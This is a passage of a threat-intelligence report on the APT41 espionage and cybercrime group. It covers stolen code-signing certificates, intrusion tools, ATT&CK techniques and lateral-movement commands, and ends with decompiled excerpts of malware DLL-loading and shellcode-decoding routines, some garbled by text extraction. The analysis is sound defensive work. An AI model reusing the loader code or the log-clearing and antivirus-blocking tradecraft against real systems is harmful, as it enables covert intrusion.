Certificate authorities are responsible for revoking +compromised digital certificates, although response +times can vary greatly, and digital certificates can +continue to be abused even long after they are first +identified being misused. + Several malware samples were signed very close to the +certificate issue date, suggesting that APT41 or a related +actor had access to the private key or build environment +at that time. It is also possible the group acquired the +private keys soon after they were issued. + In some cases, digital certificates were used to sign +malware samples just before they expired, most likely +indicating the actors were actively managing a library of +digital certificates for this purpose. + Figure 18 depicts compile times of malware signed with +compromised digital certificates within the time frame +that the certificates were valid. All of the certificates +listed in the graphic have either been revoked or are +currently expired. Indicators associated with these +certificates are listed in "Technical Annex: Code Signing +Certificates Used by APT41." + Alternatively, it is possible APT41 may have purchased +the digital certificates used for signing malware within +an underground market. FireEye researchers found that +code signing certificates are currently available for sale +in underground marketplaces for as little as $399 USD, +although ones that go through rigorous vetting can be +sold for $1,699 USD. +SPECIAL REPORT | DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION +Figure 18: First observed malware +samples signed with digital certificates +(white) in relation to valid certificate +dates (blue). +Observed Use Of Code Signing Certificates +Electronics Extreme Limited +Zepetto Co. +En Masse Entertainment +GameUS Inc. +Shanda Games +NetSarang Computer +Wemade Entertainment Co. +XL Games Co. +Nanjing Ranyi Technology Co. +Guangzhou YuanLuo Technology Co. +Fuqing Dawu Technolofy Co. +Mgame Corp +xlgames +Neowix Corporation +Webzen Inc. +Guangzhou YuanLuo Technology Co. +YNK JAPAN Inc. +11/27/09 +Certificate Validity Dates +First Observed Malware Sample Signed +with Compromised Certificate +4/11/11 +8/23/12 +1/5/14 +5/20/15 +10/1/16 +2/13/18 +6/28/19 +SPECIAL REPORT | DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION +Outlook and Implications +APT41 is a dual threat demonstrating creativity +and aggressiveness in carrying out both espionage +campaigns and financially motivated operations. The +group's capabilities and targeting have both widened +over time, signaling the potential for additional supply +chain compromises affecting more victims in additional +verticals. +APT41's links to both underground marketplaces and +state-sponsored activity may indicate the group enjoys +protections that enables it to conduct its own for-profit +activities, or authorities are willing to overlook them. It +is also possible that APT41 has simply evaded scrutiny +from Chinese authorities. Regardless, these operations +underscore a blurred line between state power and +crime that lies at the heart of threat ecosystems and is +exemplified by APT41. +SPECIAL REPORT | DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION +TECHNICAL ANNEX +Attack Lifecycle +Figure 19: +APT41 attack +lifecycle. +Initial Compromise + CHINACHOP + Credential theft + CVE-2019-3369 + Spear-phishing + Stolen credentials + TeamViewer +Establish Foothold + ACEHASH + ASPXSpy + Beacon + CHINACHOP + COLDJAVA + CRACKSHOT + CROSSWALK + DEADEYE + DOWNTIME + EASYNIGHT + Gh0st + HIGHNOON + HIGHNOON.LITE + HIGHNOON.PASTEBOY + HKDOOR + HOTCHAI + JUMPALL + LATELUNCH + LIFEBOAT + LOWKEY + njRAT + PHOTO + POISONPLUG + POISONPLUG.SHADOW + POTROAST + SAGEHIRE + SOGU + SWEETCANDLE + TERA + TIDYELF + WINTERLOVE + XDOOR + ZXSHELL + PowerShell + Sticky Keys Vulnerability +Maintain Presence +Move Laterally + ADORE.XSEC + CROSSWALK + CROSSWALK.BIN + FRONTWHEEL + HIGHNOON + HIGHNOON.BIN + HIGHNOON.LINUX + HOMEUNIX + PACMAN + PHOTO + POISONPLUG + POWERSPLOIT + ROCKBOOT + SOGU + Scheduled tasks + Startup files + Sticky Keys Vulnerability + Windows Registry +modifications + HIGHNOON + SOGU + Brute-force local +admin account + Creation of user accounts +added to User and +Admin groups + Modification of the +legitimate WMI +Performance Adapter + RDP + Scheduled tasks + Stolen credentials +Escalate Privilege +Internal Reconnaisance + ACEHASH + GEARSHIFT + Mimikatz + NTDSDump + PHOTO + PwDump + WINTERLOVE + Bypass User Account +Control + Password hash +dumping + Windows Credential +Editor (WCE) + HIGHNOON + SOGU + WIDETONE + Built-in Windows +commands +(ping, nestate, etc.) +Complete Mission + Encryptor RaaS + XMRIG + Clear +.bash_history +files + Clear Windows +security and system +event logs + Compress data +using RAR + Credential theft + Delete Scheduled +tasks + Intellectual property +theft + Modify DNS +management to avoid +anti-virus detection + Steal in-game +currencies +SPECIAL REPORT | DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION +Initial +Compromise +APT41 leverages a variety of techniques to perform an initial compromise, including spearphishing, moving laterally from trusted third parties, leveraging stolen credentials, using the +CHINACHOP web shell, and accessing victim organizations using remote desktop sharing +software, such as TeamViewer. APT41 often relies on the use of simple spear-phishing email +with attachments such as compiled HTML (.chm) files to initially compromise their victims. +However, once in a victim organization, the operation can leverage more sophisticated TTPs +and deploy additional malware tools. + In a campaign running almost one year, APT41 compromised hundreds of systems and +used close to 150 unique pieces of malware including backdoors, credential stealers, +keyloggers, and rootkits. + We have observed TeamViewer credentials used as an entry point in multiple intrusions +across industries. In these instances, APT41 leveraged TeamViewer to transfer malware +into the compromised environment, although we do not have direct evidence of APT41 +compromising TeamViewer. + In July 2017, APT41 initiated a TeamViewer session and transferred files that were +later deleted. Filenames and creation times indicate that these may have been the +HIGHNOON backdoor. + In May 2018, APT41 used TeamViewer for initial entry in the compromise of a healthcare +company. During this intrusion, APT41 started a TeamViewer session and shortly +after transferred DLL files associated with the CROSSWALK backdoor to the victim +environment before deploying CROSSWALK. +The group has leveraged several exploits in their operations. Notably, APT41 was observed +using proof-of-concept exploit code for CVE-2019-3396 within 23 days after the +Confluence vulnerability was announced. +Observed Vulnerabilities + CVE-2012-0158 + CVE-2015-1641 + CVE-2017-0199 + CVE-2017-11882 + CVE-2019-3396 +APT41 compromised one organization and moved to a client environment. +SPECIAL REPORT | DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION +Establish +Foothold +APT41 uses a variety of malware and tools, both public and unique to the group, to +establish a foothold with a victim's environment, including: + ASPXSpy + HIGHNOON.LITE + POISONPLUG.SHADOW + ACEHASH + HIGHNOON.PASTEBOY + POTROAST + Beacon + HOTCHAI + SAGEHIRE + CHINACHOP + HKDOOR + SOGU + COLDJAVA + JUMPALL + SWEETCANDLE + CRACKSHOT + LATELUNCH + TERA + CROSSWALK + LIFEBOAT + TIDYELF + DEADEYE + LOWKEY + XDOOR + DOWNTIME + njRAT + WINTERLOVE + EASYNIGHT + POISONPLUG + ZXSHELL + Gh0st +APT41 has been observed using Linux and Windows variants of the same malware families, +such as PHOTO and HIGHNOON. The group often initially installs its backdoors to c:\ +windows\temp. +We have observed APT41 attempting to masquerade their files and domains as popular +anti-virus software: +APT41 appears to use the commercially available Beacon backdoor that is part of the +Cobalt Strike pen-testing software platform. In at least one instance, a server used for +Beacon C&C was also leveraged for CROSSWALK C&C. +On multiple occasions, APT41 leveraged the Sticky Keys vulnerability and PowerShell to +deploy malware families in victims' environments. +SPECIAL REPORT | DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION +Escalate +Privileges +APT41 escalates its privileges in systems by leveraging custom-made and publicly available +tools to gather credentials and dump password hashes. The tools include: + ACEHASH + NTDSDump + GEARSHIFT + PHOTO + GOODLUCK + PwDump + Mimikatz + WINTERLOVE +Windows Credential Editor (WCE) +APT41 frequently uses the Windows Credential Editor to dump password hashes from +memory and authenticate other user accounts. +Internal +Reconnaissance +APT41 conducts network reconnaissance after using compromised credentials to log on +to other systems. The group leverages built-in Windows commands, such as "netstat" +and "net share," in addition to the custom and non-public malware families SOGU, +HIGHNOON, and WIDETONE. + HIGHNOON includes the ability to collect host information by enumerating active +Remote Desktop Protocol (RDP) sessions. + SOGU is capable of listing TCP and UDP network connections, respectively. + WIDETONE is capable of conducting port scans and password brute-force attacks and +collecting network information. It contains an embedded variant of a publicly available +enumeration tool and can be run with the following options: + "-hbs" option runs a port scan on the specified subnet. + "-hscan" scans the specified IP range for IPC and SQL services. + "-enum" queries a Windows host for requested information, such as users, groups/ +members, policies, and more. +SPECIAL REPORT | DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION +APT41 assesses the network architecture of an organization and identifies pivotal systems +for enabling further access. The group has repeatedly identified intermediary systems that +provide access to otherwise segmented parts of an organization's network (as outlined +in Case Study: Video Game Industry Targeting). Once APT41 has identified intermediary +systems, it moves quickly to compromise systems. In one case, hundreds of systems across +several geographic regions were compromised in as little as two weeks. +Lateral +Movement +APT41 uses multiple methods to perform lateral movement in an environment, including +RDP sessions, using stolen credentials, adding accounts to User and Admin groups, +and password brute-forcing utilities. The group will also use a compromised account to +create scheduled tasks on systems or modify legitimate Windows services to install the +HIGHNOON and SOGU backdoors. + We observed APT41 using a compromised account to create a scheduled task on a +system, write a binary component of HIGHNOON containing the payload and C&C +information to disk, and then modify the legitimate Windows WMI Performance Adaptor +(wmiApSrv) to execute the HIGHNOON payload. +APT41 frequently uses the publicly available utility WMIEXEC to move laterally across +an environment. WMIEXEC is a tool that allows for the execution of WMI commands on +remote machines. Examples of commands executed by the utility include: +cmd.exe /c whoami > C:\wmi.dll 2>&1 +cmd.exe /c del C:\wmi.dll /F > nul 2>&1 +cmd.exe /c a.bat > C:\wmi.dll 2>&1 +SPECIAL REPORT | DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION +Maintain +Presence +To maintain presence, APT41 relies on backdoors, a Sticky Keys vulnerability, scheduled +tasks, bootkits, rootkits, registry modifications, and creating or modifying startup files. +APT41 has also been observed modifying firewall rules to enable file and printer sharing to +allow for inbound Server Message Block (SMB) traffic. + APT41 leveraged ROCKBOOT as a persistence mechanism for PHOTO and TERA +backdoors. The bootkit performs raw disk operations to bypass the typical MBR boot +sequence and execute the backdoors prior to the host operating system. This technique +was implemented to ensure the malware would execute at system runtime and was +designed to be difficult to detect and prevent. APT41 ROCKBOOT samples have been +signed with legitimate code-signing certificates from MGame and Neowiz, two South +Korean video game companies. + APT41 leveraged ADORE.XSEC, a Linux backdoor launched by the Adore-NG rootkit, +throughout an organization's Linux environment. The group installed the backdoor and +the Adore-NG rootkit persistently by creating a hidden shell script in "/etc/rc.d/init.d," +a directory that contains the startup scripts for many system services. The Adore-NG +rootkit is used to hide the backdoor and authenticate any incoming connections using a +provided password. + The group also uses CROSSWALK.BIN, FRONTWHEEL, HIGHNOON.BIN, HIGHNOON. +LINUX, HOMEUNIX, and PACMAN to maintain presence. +In some instances, APT41 leveraged POISONPLUG as a first-stage backdoor to deploy the +HIGHNOON backdoor in the targeted environment. We observed APT41 use PowerSploit +with the capability to use WMI as a persistence mechanism. The group also deploys the +SOGU and CROSSWALK malware families as means to maintain presence. +APT41 has demonstrated it is highly agile, responding quickly to changes in victim +environments and incident responder activity. + Hours after a victimized organization made changes to thwart APT41, the group +registered a new C&C domain, compiled a new SOGU backdoor variant, and deployed +the new backdoor to several systems across multiple geographic regions. + APT41 sent spear-phishing emails to multiple HR employees three days after the +compromise had been remediated and systems were brought back online. Within hours +of a user opening the malicious attachment dropping a HOMEUNIX backdoor, APT41 +regained a foothold within the environment by installing PHOTO on the organization's +servers across multiple geographic regions. +SPECIAL REPORT | DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION +Avoiding C&C Detection +At times APT41 uses legitimate websites, such as GitHub, +Pastebin, and Microsoft TechNet, to avoid detection. +Interestingly, some of the group's POISONPLUG malware +samples leverage the Steam Community website +associated with Valve, a video game developer and +publisher. This technique of storing encoded or encrypted +strings, known as dead drop resolvers (DDR), on legitimate +websites that can subvert network defenders as traffic to +and from the sites is typically benign. +Preventing Anti-Virus Updates +Before attempting to deploy the publicly available +Ransomware-as-a-Service (RaaS) Encryptor RaaS +through group policy, APT41 blocked victim systems +from retrieving anti-virus updates by accessing the DNS +management console and implementing a forward lookup +on the domain used for anti-virus updates to the park IP +address "1.1.1.1." +The group has also configured Linux backdoors to run +on ports used by legitimate applications within victim +environments, enabling malicious traffic to bypass network +security measures and hide malicious activity within the +organization's regular application traffic. +Complete +Mission +APT41 has been observed creating a RAR archive of targeted files for exfiltration. The group +has also manipulated in-game currencies using the targets' databases after compromising +production environments. During multiple engagements, APT41 attempted to remove +evidence of some of its activity by deleting Bash histories, clearing Windows security and +system events, and modifying DNS management to avoid anti-virus detections. +In at least one instance, the group attempted to deploy Encryptor RaaS. However, an +operator's typo prevented the ransomware from executing in the victim's environment. +In another instance, APT41 deployed XMRig, a Monero cryptocurrency mining tool in a +victim's environment. +SPECIAL REPORT | DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION +TECHNICAL ANNEX +MITRE ATT&CK Mapping +Initial Access +Persistence +t1190 +Exploit Public-Facing Application +t1015 +Accessibility Features +t1133 +External Remote Services +t1098 +Account Manipulation +t1193 +Spear-phishing Attachment +t1067 +Bootkit +t1195 +Supply Chain Compromise +t1136 +Create Account +t1199 +Trusted Relationship +t1038 +DLL Search Order Hijacking +t1078 +Valid Accounts +t1133 +External Remote Services +t1179 +Hooking +t1031 +Modify Existing Service +Execution +t1050 +New Service +t1059 +Command-Line Interface +t1034 +Path Interception +t1223 +Compiled HTML File +t1108 +Redundant Access +t1106 +Execution through API +t1060 +Registry Run Keys / Start Folder +t1129 +Execution through Module Load +t1165 +Startup Items +t1203 +Exploitation for Client Execution +t1078 +Valid Accounts +t1061 +Graphical User Interface +t1100 +Web Shell +t1170 +Mshta +t1086 +PowerShell +t1053 +Scheduled Task +Privilege Escalation +t1085 +Rundll32 +t1134 +Access Token Manipulation +t1064 +Scripting +t1015 +Accessibility Features +t1035 +Service Execution +t1038 +DLL Search Order Hijacking +t1204 +User Execution +t1034 +Path Interception +t1047 +Windows Management Instrumentation +t1055 +Process Injection +t1078 +Valid Accounts +t1100 +Web Shell +SPECIAL REPORT | DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION +Defense Evasion +Discovery +t1134 +Access Token Manipulation +t1087 +Account Discovery +t1009 +Binary Padding +t1482 +Domain Trust Discovery +t1146 +Clear Command History +t1083 +File and Directory Discovery +t1116 +Code Signing +t1069 +Permission Groups Discovery +t1140 +Deobfuscate / Decode Files or Information +t1057 +Process Discovery +t1089 +Disabling Security Tools +t1063 +Security Software Discovery +t1038 +DLL Search Order Hijacking +t1082 +System Information Discovery +t1073 +DLL Side-Loading +t1016 +System Network Configuration Discovery +t1107 +File Deletion +t0149 +System Network Connections Discovery +t1054 +Indicator Blocking +t1033 +System Owner/User Discovery +t1070 +Indicator Removal on Host +t1124 +System Time Discovery +t1036 +Masquerading +t1497 +Virtualization and Sandbox Evasion +t1112 +Modify Registry +t1170 +Mshta +t1027 +Obfuscated Files or Information +t1055 +Process Injection +t1014 +Rootkit +t1085 +Rundll32 +t1064 +Scripting +t1045 +Software Packing +t1099 +Timestomp +t1078 +Valid Accounts +t1497 +Virtualization and Sandbox Evasion +t1102 +Web Service +Credential Access +t1098 +Account Manipulation +t1110 +Brute Force +t1003 +Credential Dumping +t1081 +Credentials in Files +t1056 +Input Capture +t1145 +Private Keys +Lateral Movement +t1075 +Pass the Hash +t1076 +Remote Desktop Protocol +t1105 +Remote File Copy +Command and Control +t1043 +Commonly Used Port +t1090 +Connection Proxy +t1094 +Custom Command and Control Protocol +t1132 +Data Encoding +t1001 +Data Obfuscation +t1483 +Domain Generation Algorithms +t1219 +Remote Access Tools +t1105 +Remote File Copy +t1071 +Standard Application Layer Protocol +t1032 +Standard Cryptographic Protocol +t1095 +Standard Non-Application Layer Protocol +t1065 +Uncommonly Used Port +Exfiltration +Collection +t1119 +Automated Collection +t1213 +Data from Information Repositories +t1005 +Data from Local System +t1056 +Input Capture +t1113 +Screen Capture +t1002 +Data Compressed +t1022 +Data Encrypted +t1041 +Exfiltration Over Command and Control Channel +Impact +t1487 +Data Encrypted for Impact +SPECIAL REPORT | DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION +TECHNICAL ANNEX +Code-Signing Certificates +Used by APT41 +Table 14. Code-signing certificates used by APT41. +Common Name +Issue Date +Expiry +Date +Status +0b:72:79:06:8b:eb:15:ff:e8:06:0d:2c:56:15:3c:35 +Guangzhou YuanLuo +Technology Co. +6/12/12 +6/12/13 +Revoked +18:63:79:57:5a:31:46:e2:6b:ef:c9:0a:58:0d:1b:d2 +Webzen Inc. +8/2/11 +9/30/13 +Revoked +63:66:a9:ac:97:df:4d:e1:73:66:94:3c:9b:29:1a:aa +xlgames +7/5/11 +7/4/12 +Revoked +5c:2f:97:a3:1a:bc:32:b0:8c:ac:01:00:59:8f:32:f6 +Neowiz CORPORATION +11/16/11 +12/15/12 +Expired +Mgame Corp +6/9/11 +6/9/12 +Expired +4c:0b:2e:9d:2e:f9:09:d1:52:70:d4:dd:7f:a5:a4:a5 +Fuqing Dawu Technology Co. +1/31/13 +1/31/14 +Revoked +14:0d:2c:51:5e:8e:e9:73:9b:b5:f1:b2:63:7d:c4:78 +Guangzhou YuanLuo +Technology Co. +10/22/13 +10/22/14 +Revoked +58:01:5a:cd:50:1f:c9:c3:44:26:4e:ac:e2:ce:57:30 +Nanjing Ranyi Technology Co. +8/8/12 +8/8/13 +Revoked +7b:d5:58:18:c5:97:1b:63:dc:45:cf:57:cb:eb:95:0b +XL Games Co. +6/21/12 +6/21/13 +Revoked +47:6b:f2:4a:4b:1e:9f:4b:c2:a6:1b:15:21:15:e1:fe +Wemade Entertainment co. +3/2/14 +1/9/16 +Revoked +53:0c:e1:4c:81:f3:62:10:a1:68:2a:ff:17:9e:25:80 +NetSarang Computer +10/13/16 +11/12/18 +Revoked +30:d3:c1:67:26:5b:52:0c:b8:7f:25:84:4f:95:cb:04 +Shanda Games +10/29/13 +12/27/16 +Revoked +54:c6:c1:40:6f:b4:ac:b5:d2:06:74:e9:93:92:c6:3e +GameUS Inc +5/15/14 +7/13/16 +Expired +1e:52:bb:f5:c9:0e:c1:64:d0:5b:e0:e4:16:61:52:5f +En Masse Entertainment +2/3/15 +4/5/17 +Expired +fd:f2:83:7d:ac:12:b7:bb:30:ad:05:8f:99:9e:cf:00 +Zepetto Co. +5/10/18 +7/1/19 +Expired +25:f8:78:22:de:56:d3:98:21:59:28:73:ea:09:ca:37 +Electronics Extreme Limited +1/20/17 +1/20/19 +Expired +67:24:34:0d:db:c7:25:2f:7f:b7:14:b8:12:a5:c0:4d +YNK JAPAN Inc +11/27/09 +11/27/11 +Revoked +Serial +01:00:00:00:00:01:30:73:85:f7:02 +SPECIAL REPORT | DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION +TECHNICAL ANNEX +Additional Malware Overlaps +Background +Throughout the course of our analysis, we consolidated +multiple malware families into a single family with variants +based on identified overlaps. Some of the malware +families, such as HIGHNOON, are shared with other +suspected Chinese espionage groups. The malware +families contain similar functionalities, code overlaps, +and encoding routines. Detailed descriptions on specific +malware families are listed as follows. +HIGHNOON +HIGHNOON variants include HIGHNOON.LITE, +HIGHNOON.BIN, HIGHNOON.PASTEBOY, HIGHNOON. +CLI, and HIGHNOON.LINUX. Some of the variants, such as +HIGHNOON.BIN, were used by multiple suspected Chinese +groups, including APT41 and APT17. +HIGHNOON.BIN and HIGHNOON.LITE +HIGHNOON.BIN (MD5: +2862c9bff365dc8d51ba0c4953869d5d) and HIGHNOON. +LITE (MD5: b5120174d92f30d3162ceda23e201cea) contain +an identical in memory DLL loading function, which can be +seen in Figure 20. +Figure 20: HIGHNOON. +BIN and HIGHNOON.LITE +in memory DLL loading +function. +char *v8; // ecx +int v9; // eax +char *v10; // eax +char *v11; // [esp+10h] [ebp-4h] +v1 = (char *)a1 + a1[15]; +v2 = (char *)VirtualAlloc(*((LPVOID *)v1 + 13), *((_DWORD *)v1 + 20), 0x2000u, 0x40u); +v11 = v2; +if ( !v2 ) +result = (char ")VirtualAlloc(0, *((_DWORD *)v1 + 20), 0x2000u, 0x40u); +v11 = result; +if ( !result ) +return result; +v2 = result; +v4 = GetProcessHeap(); +v5 = (int *)HeapAlloc(v4, 0, 0x14u); +v5[1] = (int)v2; +v5[3] = 0; +v5[2] = 0; +v5[4] = 0; +VirtualAlloc(v2, *((_DWORD *)v1 + 20), 0x1000u, 0x40u); +v6 = (char *)VirtualAlloc(v2, *((_DWORD *)v1 + 21), 0x1000u, 0x40u); +qmemcpy(v6, a1, a1[15] + *((_DWORD *)v1 + 21)); +v7 = (int)&v6[a1[15]]; +*v5 = v7; +*(_DWORD *)(v7 + 52) = v11; +sub_10002150((int)a1, (int)v1, v5); +v8 = (char *)*((_DWORD *)v1 + 13); +if ( v11 != v8 ) +sub_10002370(v5, v11 - v8); +if ( !sub_100023F0(v5) ) +goto LABEL_10; +sub_100022B0(v5); +v9 = *(_DWORD *)(*v5 + 40); +if ( v9 ) +v10 = &v11[v9]; +if ( !v10 || !((int (__stdcall *)(char *, int, _DWORD))v10)(v11, 1, 0) ) +ABEL _10 +sub_100025B0(v5); +return 0; +v5[4] = 1; +return (char *)v5; +000021BF sub_1000020B0;52 (100021BF) +char *v7; // [esp+60h] [ebp-Ch] +_DWORD *v8; // [esp+68h] [ebp-4h] +8 if ( !a1 ) +return 0; +10 v7 = (char *)a1 + a1[15]; +11 IpAddress = (char *)VirtualAlloc(*((LPVOID *)v7 + 13), *((_DWORD *)v7 + 20), 0x2000u, 0x40u); +12 if ( !IpAddress ) +13 IpAddress = (char *)VirtualAlloc(0, *((_DWORD *)v7 + 20), 0x2000u, 0x40u); +14 if ( !IpAddress ) +return 0; +16 v2 = GetProcessHeap(): +17 v8 = HeapAlloc(v2, 0, 0x14u); +18 v8[1] = IpAddress; +19 v8[3] = 0; +20 v8[2] = 0; +21 v8[4] = 0; +22 VirtualAlloc(IpAddress, *((_DWORD *)v7 + 20), 0x1000u, 0x40u); +23 Dst = (char *)VirtualAlloc(IpAddress, *((_DWORD *)v7 + 21), 0x1000u, 0x40u +24 memcpy(Dst, a1, *((_DWORD *)v7 + 21) + a1[15]); +25 *v8 = &Dst[a1[15]]; +26 *(_DWORD *)(*v8 + 52) = IpAddress; +27 sub_4020A0(a1, v7, v8); +28 v4 = (int)&IpAddress[-*((_DWORD *)v7 + 13)]; +29 if ( v4 ) +sub_402320(v8, v4); +31 if ( sub_402320(v8) ) +32 { +sub_4021C0(v8); +if ( !*(_DWORD *)(*v8 + 40) ) +return v8; +v3 = &IpAddress[*(_DWORD *)(*v8 + 40)]; +if ( v3 && ((int (__stdcall *)(char *, int, _DWORD))v3)(IpAddress, 1, 0) ) +v8[4] = 1; +return v8; +42 } +43 sub_402740(v8); +44 return 0; +45 } +00002084 t_in_memory_DLL_loader;46 (402084) +SPECIAL REPORT | DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION +HIGHNOON (MD5: df143c22465b88c4bdb042956fef8121) +uses an API hashing algorithm to resolve its imports at +runtime, but the layout of the in-memory DLL loading +functionality is identical between HIGHNOON, HIGHNOON. +BIN, and HIGHNOON.LITE samples (Figure 21). The specific +samples of HIGHNOON, HIGHNOON.BIN, and HIGHNOON. +LITE referenced previously are not attributed to APT41 but +are instead used by other suspected Chinese groups. + HIGHNOON and HIGHNOON.LITE also share the same +configuration encoding routine. + HIGHNOON, HIGHNOON.LITE, and HIGHNOON.BIN +store a unique host identifier under the registry key +HKLM\SOFTWARE\Microsoft\HTMLHelp +resolve_APIS(): +v3 = (_DWORD *)((char *)a1 + a1[15]); +v4 = (_DWORD *)VirtualAlloc(v3[13], v3[20]. 0x2000, 0x40); +if ( !v4 ) +result = (_DWORD *)VirtualAlloc(0, v3[20], 0x2000, 0x40); +if ( !result ) +return result; +v4 = result; +v6 = (void *)GetProcessHeap(0, 0x14); +v7 = HeapAlloc(v6, v13, v14); +v7[1] = v4; +v7[3] = 0; +v7[2] = 0; +v7[4] = 0; +VirtualAlloc(v4, v3[20], 0x1000, 0x40); +v8 = (char *)VirtualAlloc(v4, v3[21], 0x1000, 0x40); +qmemcopy(v8, a1, a1[15] + v3[21]); +v9 = (int)&v8[*(_DWORD *)(a3 + 60)]; +*v7 = v9; +*(_DWORD *)(v9 + 52) = a1; +sub_100016A0(a3, v3, v7); +v10 = (char *)v3[13]; +if ( a1 != (_DWORD *)v10 ) +sub_10001830(v7, (char *)a1 - v10); +if ( !sub_10001770(v7) ) +return 0; +sub_10001770(v7); +v11 = *(_DWORD *)(*v7 + 40); +if ( v11 ) +v12 = (char *)a1 + v11; +if ( !v12 || !((int (cdec1 *)(_DWORD *, int, _DWORD))v12)(a1, 1, 0) ) +return 0; +v7[4] = 1; +return v7; +Figure 21: +HIGHNOON DLL +loading function. +SPECIAL REPORT | DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION +HIGHNOON.LINUX and HIGHNOON +HIGHNOON.LINUX is a Linux variant of HIGHNOON that +shares multiple component overlaps with HIGHNOON. + HIGHNOON.LINUX and HIGHNOON share a message +component that use the same headers and XOR encoding. + The two share a transport component that provides +HTTP, Fake TLS, and raw protocol options. + HIGHNOON.LINUX and HIGHNOON share a similar +commands component. The code for processing the +commands "Tunnel" and "Plus" (to add plugins) are +nearly identical. +CROSSWALK and CROSSWALK.BIN +CROSSWALK and CROSSWALK.BIN share several notable +overlaps. Significantly, the two code families share a large +amount of code in their respective shellcode components +(Figure 22). +Shellcode Component Overlaps + The shellcode that handles C&C messages uses the +same function in both families. + Interestingly, additional functions used for C&C in +CROSSWALK.BIN are present within CROSSWALK +but unused. + This suggests the families are slightly different builds +originating from the same codebase. + CROSSWALK.BIN's user-mode shellcode and the +shellcode appended at the end of CROSSWALK contain +approximately three-fourths of the same code. + Both CROSSWALK and CROSSWALK.BIN's backdoors +are implemented through user-mode shellcode. +SPECIAL REPORT | DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION +Figure 22: CROSSWALK (left) and CROSSWALK.BIN (right) shellcode. +37 __int64 v37; // [rsp+58h] [rbp+10h] +39 v37 = a2; +40 v2 = 0; +41 v3 = a1[47] == 1; +42 v4 = a1; +43 strcopy(&v36, "ok1234\n"); +44 if ( v3 ) +45 { +46 LABEL_14: +if ( cgp_dyn_resolve_maybe_03(v4) <= 0 ) +return v2; +v24 = v4[24]; +v25 = *(v4 + 13); +v26 = v4[48]; +*(v4 + 11) = v4; +*(v4 +10) = v4 - v24; +v27 = v4 + v25 - v24; +v28 = (*(v4 + 31))(0i64, v26, 4096i64, 4i64); +*(v4 + 25) = v28; +if ( !v28 ) +return v2; +v29 = v4[25]; +v30 = *(v4 + 28); +if ( v29 > 0 ) +v31 = v27; +*v31++ ^= v30; +--v29: +while ( v29 ); +if ( sub_BBA0(v4, v27) <= 0 ) +return v2; +v32 = v4[25]; +v33 = *(v4 + 28); +if ( v32 > 0 ) +*v27++ ^= v33; +--v32: +while ( v32 ); +*(*(v4 + 25) + 2032i64) = *(v4 + 17) + *v4 + 10); +*(v4 + 35) = *(v4 + 17) + *(v4 + 10); +(*(*(v4 + 25) + 752i644))(32775i64); +v34 = (*(*(v4 + 25) + 32i64))(0i64, 0i64, *(v4 + 10) + *(v4 + 95), v4, 0, 0i64); +(*(v4 + 35))(&v36); +(*(*(v4 + 25) + 272i64))(v34, 0xFFFFFFFFi64); +(*(*(v4 + 25) + 48i64))(v24); +v2 = 1; +return v2; +93 } +94 v5 = a1[12]; +95 v6 = a1[13]; +96 v7 = a1[11]; +97 v8 = v4[24]; +98 v9 = v4[19]; +99 v10 = v4[25]; +100 v4[12] = v7; +101 v11 = v10 + v9 + v8; +102 v4[13] = v7; +103 v12 = 0; +104 v13 = v10 + v9 + v8; +105 v14 = v4 - v8; +106 do +107 { +v15 = *v14++; +v12 = v15 + __ROR4__(v12, v7); +--v13; +111 } +112 while ( v13 ); +113 if ( v6 != v12 ) +return v2; +115 v16 = v4 + 48; +116 v17 = v9 + v10 - 192; +117 v18 = v17; +118 if ( v17 > 0 ) +119 { +v19 = v4[14]; +0000B60A cgp_decode_shellcode:62 (B60A) +39 __int64 v39; // [rsp+58h] [rbp+10h] +41 v39 = a2; +42 v2 = 0; +43 v3 = a1[47] == 1; +44 v4 = a1; +45 strcopy(&v38, "ok1234\n"); +46 if ( v3 ) +47 { +48 LABEL_14: +if ( cgp_dyn_resolve_maybe_03(v4) <= 0 ) +return v2; +v24 = v4[24]; +v25 = *(v4 + 13); +v26 = v4[48]; +*(v4 + 11) = v4; +*(v4 +10) = v4 - v24; +v27 = v4 + v25 - v24; +v28 = (*(v4 + 31))(0i64, v26, 4096i64, 4i64); +*(v4 + 25) = v28; +if ( !v28 ) +return v2; +v29 = v4[25]; +v30 = *(v4 + 28); +if ( v29 > 0 ) +v31 = v27; +*v31++ ^= v30; +--v29: +while ( v29 ); +if ( sub_8C58(v4, v27) <= 0 ) +return v2; +v32 = v4[25]; +v33 = *(v4 + 28); +if ( v32 > 0 ) +*v27++ ^= v33; +--v32: +while ( v32 ); +*(*(v4 + 25) + 2032i64) = *(v4 + 17) + *v4 + 10); +*(v4 + 35) = *(v4 + 17) + *(v4 + 10); +(*(*(v4 + 25) + 752i644))(32775i64); +v34 = (*(*(v4 + 25) + 32i64))(0i64, 0i64, +(*(v4 + 35))(&v38); +(*(*(v4 + 25) + 272i64))(v36, 0xFFFFFFFFi64); +(*(*(v4 + 25) + 48i64))(v36); +v2 = 1; +return v2; +95 } +96 v5 = a1[12]; +97 v6 = a1[13]; +98 v7 = a1[11]; +99 v8 = v4[24]; +100 v9 = v4[19]; +101 v10 = v4[25]; +102 v4[12] = v7; +103 v11 = v10 + v9 + v8; +104 v4[13] = v7; +105 v12 = 0; +106 v13 = v10 + v9 + v8; +107 v14 = v4 - v8; +108 do +109 { +v15 = *v14++; +v12 = v15 + __ROR4__(v12, v7); 